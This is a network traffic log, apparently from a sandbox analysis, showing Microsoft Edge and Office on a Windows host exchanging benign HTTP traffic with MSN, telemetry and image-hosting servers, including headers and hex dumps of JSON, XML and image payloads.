2024-11-25 04:46:54 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49912	20.189.173.13	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732510010753&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3732 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
2024-11-25 04:46:53 UTC	3732	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 34 3a 34 36 3a 35 30 2e 37 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 32 64 35 61 66 65 30 2d 61 66 37 64 2d 34 63 38 63 2d 39 62 33 39 2d 62 61 38 64 39 30 32 36 66 31 66 32 22 2c 22 65 70 6f 63 68 22 3a 22 36 32 35 30 35 39 36 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T04:46:50.747Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"22d5afe0-af7d-4c8c-9b39-ba8d9026f1f2","epoch":"62505960"},"app":{"locale":
2024-11-25 04:46:54 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=362e733a12a8490594e63f535f35f97d&HASH=362e&LV=202411&V=4&LU=1732510014126; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 04:46:54 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a5745179b7344e77a570a46e3f15954e; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 05:16:54 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3373 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044654Z-178bfbc474bvjk8shC1NYC83ns00000006u0000000008uf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044654Z-178bfbc474bpnd5vhC1NYC4vr4000000072g0000000015xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: aac97388-201e-003f-601b-3e6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044654Z-178bfbc474bxkclvhC1NYC69g400000006vg00000000ctd7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:54 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 07e1e155-901e-0029-69bf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044654Z-178bfbc474bbcwv4hC1NYCypys00000006sg00000000dwh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49925	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBhw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 17:09:58 GMT X-Datacenter: eastus X-ActivityId: 88c99495-42d2-4f3d-a686-d751c90e45f8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBhw X-Source-Length: 71145 Content-Length: 71145 Cache-Control: public, max-age=174082 Expires: Wed, 27 Nov 2024 05:08:16 GMT Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 04:46:54 UTC	16384	IN	Data Raw: 4a 2a 51 52 a4 ca 93 2a 59 0b 50 d1 92 8d 29 12 09 8a 21 44 82 90 a4 22 5a a4 18 52 11 2d 52 04 2d 84 6b 54 4b 85 b0 8e 14 52 04 2d 5b 0a 42 93 16 a9 0a 42 92 28 b6 14 52 45 8b 54 52 62 8b 54 52 62 8b 54 52 62 8b 54 52 62 88 94 52 0a 8b 54 52 62 c4 4a 29 05 62 35 8a 41 85 11 21 52 62 8a 28 a4 8a 28 85 49 ab 16 ac 48 62 8a 28 a4 18 59 0b 54 48 0c 05 90 8d 62 10 20 2c 84 6b 12 8b 85 11 20 24 34 12 76 02 4a 93 50 af 1c ef 5a 69 73 1c ca 06 3f d4 32 56 32 99 30 0b 03 41 b7 5a 85 b9 d9 75 74 de a3 8b 54 c7 3d 8d 7c 35 b5 3a 68 f2 dc 88 30 e3 06 d3 1d 0a df 1d c6 6b b8 b1 78 0c 9e be ff 00 37 63 a4 7b c6 c1 ce 26 0b ba 43 5a 7e fe 2b 9b 8f d7 b5 63 2c 65 c0 d6 b7 77 02 d7 87 09 b8 02 24 d5 4f 56 c1 e0 b5 9d 3b 0a fa 82 8b c7 3f d7 b4 81 80 b4 64 73 8e cc 20 30 Data Ascii: JQRYP)!D"ZR-R-kTKR-[BB(RETRbTRbTRbTRbRTRbJ)b5A!Rb((IHb(YTHb ,k $4vJPZis?2V20AZutT=\|5:h0kx7c{&CZ~+c,ew$OV;?ds 0
2024-11-25 04:46:54 UTC	2248	IN	Data Raw: 64 b7 a0 de ca de 9b b5 d1 d6 dc 5a 7f 2b dd 51 2e ce 2b e5 02 68 d8 47 3e ab b1 08 69 59 b7 f4 ae b9 d9 f3 66 d4 39 a5 d8 48 0d fc 39 80 26 1c d7 0e 42 0c 88 f6 2a 96 47 6a 1d 31 8b 77 39 d7 c8 db 93 d6 db 0e 80 ef 75 da a5 65 29 f1 e8 5d 79 01 a4 ca 22 31 c0 1c bb 49 06 77 de 22 76 dc a0 fc a6 78 00 b2 43 45 88 c8 03 b7 06 99 00 43 45 e2 3a af 63 42 94 ad d6 7c b8 03 37 a8 36 01 64 b4 72 ed 20 91 06 c4 86 75 88 88 5e 73 23 5e dc ac 3d 86 af 30 c6 e9 ec dc 09 6d f9 07 1b da f0 66 57 d0 69 2b 29 55 c3 e5 47 17 aa 65 f2 e3 3a 5c ce 8f d4 f6 90 0f 41 cc 5b 99 3f 35 32 7a 86 72 e0 f1 a6 c8 2e 36 71 9e 7f f0 e6 0a bb 4a c8 e0 b1 ff 00 1f 5f f7 3c b5 e7 4e a9 8d a6 3d 2f 2c 82 e2 1c 1a d7 16 92 64 91 54 14 c7 7a 83 df 67 68 f5 af 6e d4 96 80 db 8e 0e 99 9d 89 Data Ascii: dZ+Q.+hG>iYf9H9&B*Gj1w9ue)]y"1Iw"vxCECE:cB\|76dr u^s#^=0mfWi+)UGe:\A[?52zr.6qJ_<N=/,dTzghn
2024-11-25 04:46:54 UTC	16384	IN	Data Raw: ff 00 9f f5 47 1f 59 4b 9e 08 7e 48 74 58 0d 1b fc 94 a7 eb ba 58 90 9b 3c 10 45 1c 7e f5 b0 0f d4 a9 23 a2 20 78 2c b4 18 45 1c d1 f8 2d ef ef 49 60 68 2b 43 63 9a 2e f4 71 3d 50 98 00 09 82 38 2d 88 e4 8c 04 34 c1 6e 1f 5f 65 b3 c5 68 01 32 10 4b 0e 46 08 e2 8a 94 ca 3d bb 90 60 43 93 2a 1c 16 51 f5 84 54 15 35 1b 50 e8 a5 61 1d 08 c6 30 8f 06 69 75 84 72 3a 9f 92 6f 64 b6 80 8b 8d 4d 00 70 ea 8c 39 1d 1c 0a 67 67 c1 1e 0c d2 ab 4c ac f0 47 d9 9e 88 fb 32 8b 86 69 35 1e 89 81 c5 37 b1 4d ec 78 a2 e3 53 49 07 dd 6d 49 dd 8a 9d 90 45 6a 69 55 1e 8a 54 53 fb 30 b6 80 8a a6 93 da 1e 0a 54 7a a7 50 11 50 3e a1 5e 04 d2 83 b8 ad ad 3e 86 f1 45 40 55 c6 a2 bd 7c 56 d4 ac 76 6d 45 d9 84 55 35 5e a5 25 5a ec c2 da 02 29 8a d2 88 15 66 86 ad a1 a8 a6 69 15 29 52 Data Ascii: GYK~HtXX<E~# x,E-I`h+Cc.q=P8-4n_eh2KF=`C*QT5Pa0iur:odMp9ggLG2i57MxSImIEjiUTS0TzPP>^>E@U\|VvmEU5^%Z)fi)R
2024-11-25 04:46:54 UTC	16384	IN	Data Raw: 4f ef 14 9c 59 cb a4 9c 86 dc b2 b9 cc 3c 29 1d a4 bb c4 ae 39 03 1c c3 72 06 3b 94 c5 43 97 20 53 f1 bb 13 88 03 0d 44 ed 49 a9 de 2e 75 87 80 45 4e bf 6d 95 c2 90 ec 44 6e 4d 20 91 ff 00 e3 74 f8 94 d1 a8 38 c0 ac 0f 06 89 fd d3 95 c3 c4 89 5c f3 93 11 25 8d c2 dc 6e 1b 3b 26 5d bf c2 c1 12 a9 8d 46 50 48 a8 89 b3 bc b6 04 72 88 e6 78 2a 97 a5 3e a6 f7 08 73 5e db f9 1c 29 e9 f8 28 02 3d d1 7e d3 16 15 39 a4 44 90 dc 22 fc 23 09 6e dd 61 79 81 58 8e d4 36 1d b1 88 27 da 91 7e e4 dc 7f 96 aa 09 78 89 bc 8e 43 6b b6 e3 dd 34 3d 33 75 59 f3 09 6b 8b ae 7f 86 72 62 64 8e 03 1b 2a 77 75 93 c6 48 96 64 69 0f bd 9c 03 8f b1 73 cc 7f 74 15 e4 f2 65 15 09 86 8b f9 40 0d 2d 23 63 0d de 78 47 15 1b 9b 19 8a de 1d 7b 17 0e d2 3c 0c 3c 4f 8a 6a 7a b7 eb 7b 31 ff 00 Data Ascii: OY<)9r;C SDI.uENmDnM t8\%n;&]FPHrx>s^)(=~9D"#nayX6'~xCk4=3uYkrbdwuHdiste@-#cxG{<<Ojz{1
2024-11-25 04:46:54 UTC	3880	IN	Data Raw: 88 85 a0 2c 34 94 ad 0d 4e 08 e5 64 ab 9c 41 cb 9d 93 4e bb c1 1c 02 9b 0c 78 3c 98 9c c5 ce 73 5d cd 7d 15 f8 43 b9 2e 4e 5d 2a ed 9d dc f7 ab c4 1c 6e e5 6e a4 6e 47 44 22 a8 22 40 bf d4 6d ba f4 67 04 0f bd 51 76 30 38 ae 96 b0 e0 bc 39 d7 3f 5f ea aa 97 16 7c 2e 2d 8e 86 3c 2c ba 39 71 cf 2e 9c d7 2c 88 37 91 7d d1 5a 37 1e 4a 5c 09 2e 9d e5 86 e3 8e c5 5f 3a ec a4 45 6f b6 d7 bf bf 8a e3 b9 f4 d8 43 87 b7 dc ab 17 83 1f 5d b8 ee a4 f5 0c d7 ea 23 93 a2 2e ed fd fb 95 a1 ea 4c 11 5c 1e b4 0d bb f7 5e 46 5a e8 f3 47 4d fb a3 e1 59 48 3c fc 45 91 33 d1 7a bf da da 71 07 b2 79 23 6b 8f bf fa 2a b9 3d 71 f4 c3 31 34 41 dc 9a a4 7b 47 cd 79 77 31 cd f8 81 f7 8d fa 74 55 8b 06 e0 80 76 df 9a e7 31 ab a4 e4 cd 5b dc ff 00 86 4e d7 31 e2 55 17 12 e2 49 32 4e Data Ascii: ,4NdANx<s]}C.N]nnnGD""@mgQv089?_\|.-<,9q.,7}Z7J\._:EoC]#.L\^FZGMYH<E3zqy#k=q14A{Gyw1tUv1[N1UI2N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49924	104.117.182.56	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:54 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=289411 Expires: Thu, 28 Nov 2024 13:10:25 GMT Date: Mon, 25 Nov 2024 04:46:54 GMT Connection: close
2024-11-25 04:46:54 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 